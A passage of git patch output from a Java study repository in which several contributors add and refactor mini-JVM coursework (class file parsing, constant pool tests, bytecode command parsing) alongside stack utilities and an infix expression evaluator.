+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+
+
+
+}
diff --git a/group05/578505552/src/main/java/miniJvm/com/coderising/jvm/loader/EmployeeV1.java b/group05/578505552/miniJvm/src/com/coderising/jvm/test/EmployeeV1.java
similarity index 73%
rename from group05/578505552/src/main/java/miniJvm/com/coderising/jvm/loader/EmployeeV1.java
rename to group05/578505552/miniJvm/src/com/coderising/jvm/test/EmployeeV1.java
index edae33a2aa..2c0ac7cf07 100644
--- a/group05/578505552/src/main/java/miniJvm/com/coderising/jvm/loader/EmployeeV1.java
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -1,30 +1,32 @@
-package miniJvm.com.coderising.jvm.loader;
+package com.coderising.jvm.test;
 
 public class EmployeeV1 {
-	
-	
+
 	private String name;
     private int age;
-
-    public EmployeeV1() {
-    }
-
+    
     public EmployeeV1(String name, int age) {
         this.name = name;
         this.age = age;        
     }    
 
     public void setName(String name) {
+
         this.name = name;
     }
+
     public void setAge(int age){
+
     	this.age = age;
     }
-    public void sayHello() {        
+
+    public void sayHello() {
+
     	System.out.println("Hello , this is class Employee ");    	
     }
+
     public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	com.coderising.jvm.test.EmployeeV1 p = new com.coderising.jvm.test.EmployeeV1("Andy",29);
     	p.sayHello();    
     	
     }
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/util/Util.java b/group05/578505552/miniJvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group05/578505552/src/main/java/dataStruct/com/coding/basic/Stack.java b/group05/578505552/src/main/java/dataStruct/com/coding/basic/Stack.java
deleted file mode 100644
index 4f41c69a9e..0000000000
--- a/group05/578505552/src/main/java/dataStruct/com/coding/basic/Stack.java
+++ /dev/null
@@ -1,63 +0,0 @@
-package dataStruct.com.coding.basic;
-
-
-import java.util.EmptyStackException;
-
-/**
- * Created by songbao.yang on 2017/2/22.
- *
- */
-public class Stack {
-
-    private Object[] elementData;
-    private static final int MIN_INITIAL_CAPACITY = 10;
-    private int cursor;
-
-    public Stack() {
-        elementData = new Object[MIN_INITIAL_CAPACITY];
-        cursor = -1;
-    }
-
-    public void push(Object o){
-        ensureCapacity(size() + 1);
-        cursor++;
-        elementData[cursor] = o;
-	}
-
-	private void ensureCapacity(int minCapacity){
-        if(minCapacity <= elementData.length){
-            return;
-        }
-
-        int newSize = elementData.length << 1;
-        if (newSize < elementData.length){
-            newSize = Integer.MAX_VALUE;
-        }
-
-        Object[] newDataArray = new Object[newSize];
-        System.arraycopy(elementData, 0, newDataArray, 0, size());
-        elementData = newDataArray;
-    }
-
-
-    public Object pop(){
-        Object ele = peek();
-        cursor--;
-        return ele;
-    }
-	
-	public Object peek(){
-	    if (isEmpty()){
-            throw new EmptyStackException();
-        }
-		return elementData[cursor];
-	}
-
-	public boolean isEmpty(){
-		return size() == 0;
-	}
-
-	public int size(){
-		return cursor + 1;
-	}
-}
diff --git a/group05/578505552/src/main/java/miniJvm/com/coderising/jvm/loader/ClassFileLoader.java b/group05/578505552/src/main/java/miniJvm/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 97dc361c12..0000000000
--- a/group05/578505552/src/main/java/miniJvm/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,68 +0,0 @@
-package miniJvm.com.coderising.jvm.loader;
-
-import java.io.*;
-import java.util.ArrayList;
-import java.util.List;
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-
-		String fullClassName = className.replace(".", "\\") + ".class";
-		for (String clzpath : clzPaths){
-			byte[] binaryCode = readBinaryCode(clzpath, fullClassName);
-			if (binaryCode != null){
-				return binaryCode;
-			}
-		}
-		return null;
-	}
-
-	private byte[] readBinaryCode(String clzPath, String fullClassName){
-
-		String filePath = clzPath + "\\" +  fullClassName;
-		File classFile = new File(filePath);
-		if (!classFile.exists()){
-			return null;
-		}
-		try {
-			FileInputStream fileInputStream = new FileInputStream(classFile);
-			DataInputStream dataInputStream = new DataInputStream(fileInputStream);
-			List<Byte> bytes = new ArrayList<Byte>();
-			int b;
-			while ((b = dataInputStream.read()) != -1){
-				bytes.add((byte)b);
-			}
-			byte[] res = new byte[bytes.size()];
-			for (int i = 0; i < bytes.size(); i++){
-				res[i] = bytes.get(i);
-			}
-			return res;
-		} catch (FileNotFoundException e) {
-			e.printStackTrace();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		return null;
-	}
-
-	public void addClassPath(String path) {
-
-		if (path == null){
-			return;
-		}
-		clzPaths.add(path);
-	}
-
-	public String getClassPath(){
-
-		StringBuffer stringBuffer = new StringBuffer();
-		for (String path : clzPaths){
-			stringBuffer.append(path).append(";");
-		}
-		return stringBuffer.substring(0, stringBuffer.length() - 1);
-	}
-
-}
diff --git a/group05/578505552/src/main/resources/struts.xml b/group05/578505552/src/main/resources/struts.xml
deleted file mode 100644
index 0dc7b6de98..0000000000
--- a/group05/578505552/src/main/resources/struts.xml
+++ /dev/null
@@ -1,12 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="dataStruct.com.coderising.litestruts.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-
-    <action name="logout" class="com.coderising.litestruts.LogoutAction">
-    	<result name = "success">/jsp/welcome.jsp</result>
-    	<result name = "error">/jsp/error.jsp</result>
-    </action>
-</struts>
\ No newline at end of file
diff --git a/group05/578505552/src/test/java/JavaTest.java b/group05/578505552/src/test/java/JavaTest.java
deleted file mode 100644
index 26d2197ffe..0000000000
--- a/group05/578505552/src/test/java/JavaTest.java
+++ /dev/null
@@ -1,25 +0,0 @@
-import java.util.ArrayList;
-import java.util.Iterator;
-import java.util.Queue;
-import java.util.Stack;
-
-/**
- * Created by songbao.yang on 2017/2/21.
- */
-public class JavaTest {
-
-    public static void main(String[] args) {
-
-        ArrayList<String> ss = new ArrayList<String>();
-        ss.add("a");
-        ss.add("b");
-        ss.add("c");
-        ss.add("d");
-
-        System.out.println(ss.size());
-        ss.remove(0);
-        System.out.println(ss.size());
-
-
-    }
-}
diff --git a/group05/578505552/src/test/java/miniJvm/com/coderising/jvm/loader/ClassFileloaderTest.java b/group05/578505552/src/test/java/miniJvm/com/coderising/jvm/loader/ClassFileloaderTest.java
deleted file mode 100644
index 97410772aa..0000000000
--- a/group05/578505552/src/test/java/miniJvm/com/coderising/jvm/loader/ClassFileloaderTest.java
+++ /dev/null
@@ -1,70 +0,0 @@
-package miniJvm.com.coderising.jvm.loader;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class ClassFileloaderTest {
-
-	static String path1 = "D:\\project\\Learn\\coding2017\\group05\\578505552\\target\\classes";
-	static String path2 = "C:\\temp";
-
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		String clzPath = loader.getClassPath();
-		Assert.assertEquals(path1+";"+path2,clzPath);
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "miniJvm.com.coderising.jvm.loader.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1141, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "miniJvm.com.coderising.jvm.loader.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		String acctualValue = this.byteToHexString(codes);
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-}

From 719e23d8efcce013c08b9e5085da33f2b412a5bc Mon Sep 17 00:00:00 2001
From: ZhaoHongxin <zhaohongxin621@126.com>
Date: Thu, 20 Apr 2017 21:43:15 +0800
Subject: [PATCH 099/262] =?UTF-8?q?=E5=AE=9E=E7=8E=B0=E8=A7=A3=E6=9E=90?=
 =?UTF-8?q?=E5=AD=97=E8=8A=82=E7=A0=81?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/coderising/jvm/clz/ClassFile.java | 35 ++++++++---
 .../com/coderising/jvm/cmd/CommandParser.java | 60 ++++++++++++++++++-
 .../jvm/test/ClassFileloaderTest.java         |  5 +-
 .../src/com/coding/basic/stack/StackUtil.java | 35 ++++++++++-
 .../coding/basic/stack/expr/InfixExpr.java    | 34 +++++++----
 .../basic/stack/expr/InfixExprTest.java       |  6 --
 .../com/coding/basic/stack/expr/Token.java    | 51 +++++++++++-----
 .../coding/basic/stack/expr/TokenParser.java  |  5 +-
 8 files changed, 183 insertions(+), 48 deletions(-)

diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
index 13a3e4db4d..2381d6f5f6 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -1,11 +1,12 @@
 package com.coderising.jvm.clz;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.method.Method;
-import com.coding.basic.ArrayList;
-import com.coding.basic.List;
 public class ClassFile {
 	
 	private int minorVersion;
@@ -15,17 +16,17 @@ public class ClassFile {
 	private ClassIndex clzIndex;
 	private ConstantPool pool;
 	
-	private List fields = new ArrayList();
-	private List methods = new ArrayList();
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
 	public void addField(Field f) {
 		fields.add(f);
 	}
 	
-	public List getFields() {
+	public List<Field> getFields() {
 		return fields;
 	}
 
-	public List getMethods() {
+	public List<Method> getMethods() {
 		return methods;
 	}
 	public ClassIndex getClzIndex() {
@@ -94,11 +95,31 @@ public void addMethod(Method m) {
 	
 	public Method getMethod(String methodName, String paramAndReturnType){
 		
+		for(Method m : methods) {
+			
+			int nameIndex = m.getNameIndex();
+			int descriptionIndex = m.getDescriptorIndex();
+			
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descriptionIndex);
+			
+			if (name.equals(methodName) && desc.equals(paramAndReturnType)) {
+				return m;
+			}
+		}
 		
 		return null;
 	}
 	public Method getMainMethod(){
-		
+		for(Method m :methods){
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+			if(name.equals("main")  && desc.equals("([Ljava/lang/String;)V")){
+				return m;
+			}
+		}
 		return null;
 	}
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
index 1ee3e0ac81..c04d14ef3b 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -4,6 +4,7 @@
 import java.util.List;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
 
 public class CommandParser {
 	
@@ -44,18 +45,71 @@ public class CommandParser {
 
 	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
 		
-		//codes = codes.toUpperCase();
+		codes = codes.toUpperCase();
 		CommandIterator iter = new CommandIterator(codes);
-
+		ArrayList<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
 		while (iter.hasNext()) {
 			String opCode = iter.next2CharAsString();
 
 			if(new_object.equals(opCode)) {
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (invokespecial.equals(opCode)) {
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
 				
+				cmds.add(cmd);
+			} else if (invokevirtual.equals(opCode)) {
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (getfield.equals(opCode)) {
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (getstatic.equals(opCode)) {
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (putfield.equals(opCode)) {
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ldc.equals(opCode)) {
+				LdcCmd cmd = new LdcCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (bipush.equals(opCode)) {
+				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
+					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
+					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(cmd);
+			} else {
+				throw new RuntimeException("Sorry, the java instruction " + opCode + " has not been implemented");
 			}
+
 		}
 		
-		return null;
+		calcuateOffset(cmds);
+		
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		
+		return result;
 	}
 
 	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index c72b31f6c6..61c83b4224 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,6 +1,7 @@
 package com.coderising.jvm.test;
 
 import java.io.IOException;
+import java.util.List;
 
 import org.junit.After;
 import  org.junit.Assert;
@@ -9,7 +10,10 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
 import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
@@ -18,7 +22,6 @@
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ClassFileLoader;
 import com.coderising.jvm.method.Method;
-import com.coding.basic.List;
 
 
 
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackUtil.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackUtil.java
index cdb09886fa..a5e4f7623d 100644
--- a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackUtil.java
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/StackUtil.java
@@ -1,5 +1,4 @@
 package com.coding.basic.stack;
-
 public class StackUtil {
 	
 	
@@ -7,7 +6,7 @@ public class StackUtil {
 	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
 	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
 	 */
-	public static void reverse(Stack s) {
+	public static void reverseV1(Stack s) {
 		if (s == null || s.size() == 0) {
 			return;
 		}
@@ -24,6 +23,38 @@ private static void reverseTo(Stack s, Stack s1) {
 			s1.push(s.pop());
 		}
 	}
+	/**
+	 * 递归实现
+	 * @param s
+	 */
+	public static void reverse(Stack<Integer> s) {
+		if (s == null || s.size() == 0) {
+			return;
+		}
+		
+		Stack temp = new Stack();
+		while(!s.isEmpty()){
+			temp.push(s.pop());
+		}
+		
+		while (!temp.isEmpty()) {
+			Object pop = temp.pop();
+			addToBottom(s,pop);
+		}
+		
+	}
+
+	private static void addToBottom(Stack<Integer> s, Object o) {
+		
+		if (s.isEmpty()) {
+			s.push(o);
+		} else {
+			Object pop = s.pop();
+			addToBottom(s, o);
+			s.push(pop);	
+		}
+		
+	}
 
 	/**
 	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExpr.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExpr.java
index dc51c6adf3..6c582d9b97 100644
--- a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExpr.java
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -1,9 +1,7 @@
 package com.coding.basic.stack.expr;
 
 import java.util.List;
-
-import com.coding.basic.stack.Stack;
-import com.coding.basic.stack.StackUtil;
+import java.util.Stack;
 
 public class InfixExpr {
 	String expr = null;
@@ -25,7 +23,7 @@ public float evaluate() {
 				if (opStack.isEmpty()) {
 					opStack.push(t);
 				} else {
-					Token topOperator = (Token) opStack.peek();
+					/*Token topOperator = (Token) opStack.peek();
 					if (t.comparePriority(topOperator) >= 0) {
 						opStack.push(t);
 					} else {
@@ -34,21 +32,31 @@ public float evaluate() {
 						numStack.push(calculate(topOperator.getValue(), f2, f1));
 						opStack.pop();
 						opStack.push(t);
+					}*/
+					while(!opStack.isEmpty() 
+							&& !t.hasHigherPriority(opStack.peek())) {
+						Token prevOperator = opStack.pop();
+						Float f2 = numStack.pop();
+						Float f1 = numStack.pop();
+						Float result = calculate(prevOperator.toString(), f1, f2);
+						
+						numStack.push(result);
 					}
+					opStack.push(t);
+					
 				}
-			} else if (t.isDigit()) {
-				numStack.push(Float.valueOf(t.getValue()));
+			}
+			if (t.isDigit()) {
+				numStack.push(new Float(t.getIntValue()));
 			}
 		}
-		/*StackUtil.reverse(numStack);
-		StackUtil.reverse(opStack);*/
 		while (!opStack.isEmpty()) {
-			Float f1 = (Float) numStack.pop();
-			Float f2 = (Float) numStack.pop();
-			Token opr = (Token) opStack.pop();
+			Float f1 = numStack.pop();
+			Float f2 = numStack.pop();
+			Token opr = opStack.pop();
 			numStack.push(calculate(opr.getValue(), f2, f1));
 		}
-		return (Float) numStack.pop();
+		return numStack.pop();
 		//return 0.0f;
 	}
 
@@ -68,7 +76,7 @@ private Float calculate(String op, Float f1, Float f2) {
 			System.out.println("-");
 			return f1 - f2;
 		}
-		return 0.0f;
+		throw new RuntimeException(op + " is not supported");
 	}
 
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExprTest.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExprTest.java
index a6c3d24012..92d130cddd 100644
--- a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExprTest.java
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -44,11 +44,5 @@ public void testEvaluate() {
 		}
 		
 	}
-	@Test
-	public void test0001() {
-		InfixExpr expr = new InfixExpr("2+3*4+5");
-		String s = "23+3*4+5";
-		new TokenParser().parse(s);
-	}
 
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/Token.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/Token.java
index b8abf39546..5afe37fe7d 100644
--- a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/Token.java
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/Token.java
@@ -1,42 +1,59 @@
 package com.coding.basic.stack.expr;
 
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
 public class Token {
 	
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
 	public static final int OPRATOR = 0;
 	public static final int NUMBER = 1;
 
-	private int signal;
-	private String value;
+	int type;
+	String value;
 	
-	public Token(int signal, String digit) {
-		this.signal = signal;
-		this.value = digit;
+	public Token(int type, String value) {
+		this.type = type;
+		this.value = value;
 	}
 
 	public boolean isOperator() {
-		return this.signal == Token.OPRATOR;
+		return this.type == Token.OPRATOR;
 	}
 	
 	public boolean isDigit() {
-		return this.signal == Token.NUMBER;
+		return this.type == Token.NUMBER;
 	}
 	
-	public int getSignal() {
-		return signal;
+	public int getType() {
+		return type;
 	}
 
-	public void setSignal(int signal) {
-		this.signal = signal;
+	public void setType(int type) {
+		this.type = type;
 	}
 
 	public String getValue() {
 		return value;
 	}
 
-	public void setValue(String value) {
-		this.value = value;
+	public String toString() {
+		return value;
 	}
-
+	
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	
 	public int comparePriority(Token topOperator) {
 		int topOptrPriority = 0;
 		int optPriority = 0;
@@ -57,5 +74,11 @@ public int comparePriority(Token topOperator) {
 		return optPriority - topOptrPriority;
 	}
 	
+	public boolean hasHigherPriority(Token t) {
+		if (!this.isOperator() || !t.isOperator()) {
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
 	
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/TokenParser.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/TokenParser.java
index 447894d7f4..1b4786cc8c 100644
--- a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/TokenParser.java
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/TokenParser.java
@@ -41,12 +41,13 @@ private int indexOfNextOperator(int nowIndex, String expr) {
 	}
 
 	private boolean charIsDigit(char c) {
+		//return Character.isDigit(c);
 		return c>='0' && c<='9';
 	}
 
 	private boolean charIsOperator(char c) {
-		
-		return c=='+' || c=='-' || c=='*' || c=='/';
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
 	}
 	
 }

From 7a4cde88600627eba782b518079846b6ac7ab120 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=BE=9A=E5=90=AF=E7=9B=BC?= <gongqipan@qipeipu.com>
Date: Fri, 21 Apr 2017 18:13:52 +0800
Subject: [PATCH 100/262] constanst

---
 .../com/pan/jvm/loader/ClassFileParser.java   | 12 ++++----
 .../src/test/java/com/pan/MapForEachTest.java | 30 +++++++++++++++++++
 2 files changed, 36 insertions(+), 6 deletions(-)
 create mode 100644 group11/252308879/mini-jvm/src/test/java/com/pan/MapForEachTest.java

diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/loader/ClassFileParser.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/loader/ClassFileParser.java
index b2bddb85c2..e2467d3885 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/loader/ClassFileParser.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/loader/ClassFileParser.java
@@ -110,40 +110,40 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 
             switch (tag) {
 
-                case 7:         //CONSTANT_Class
+                case ConstantInfo.CLASS_INFO:         //CONSTANT_Class
                     int utf8Index = iter.nextU2ToInt();
                     ClassInfo classInfo = new ClassInfo(pool);
                     classInfo.setUtf8Index(utf8Index);
 
                     pool.addConstantInfo(classInfo);
                     break;
-                case 9:         // CONSTANT_Fieldref
+                case ConstantInfo.FIELD_INFO:         // CONSTANT_Fieldref
                     FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
                     fieldRefInfo.setClassInfoIndex(iter.nextU2ToInt());
                     fieldRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
 
                     pool.addConstantInfo(fieldRefInfo);
                     break;
-                case 10:        // CONSTANT_Methodref
+                case ConstantInfo.METHOD_INFO:        // CONSTANT_Methodref
                     MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
                     methodRefInfo.setClassInfoIndex(iter.nextU2ToInt());
                     methodRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
 
                     pool.addConstantInfo(methodRefInfo);
                     break;
-                case 8:
+                case ConstantInfo.STRING_INFO:
                     StringInfo info = new StringInfo(pool);
                     info.setIndex(iter.nextU2ToInt());
                     pool.addConstantInfo(info);
                     break;
-                case 12:        // CONSTANT_NameAndType
+                case ConstantInfo.NAME_AND_TYPE_INFO:        // CONSTANT_NameAndType
                     NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
                     nameAndTypeInfo.setIndex1(iter.nextU2ToInt());
                     nameAndTypeInfo.setIndex2(iter.nextU2ToInt());
 
                     pool.addConstantInfo(nameAndTypeInfo);
                     break;
-                case 1:         // CONSTANT_Utf8
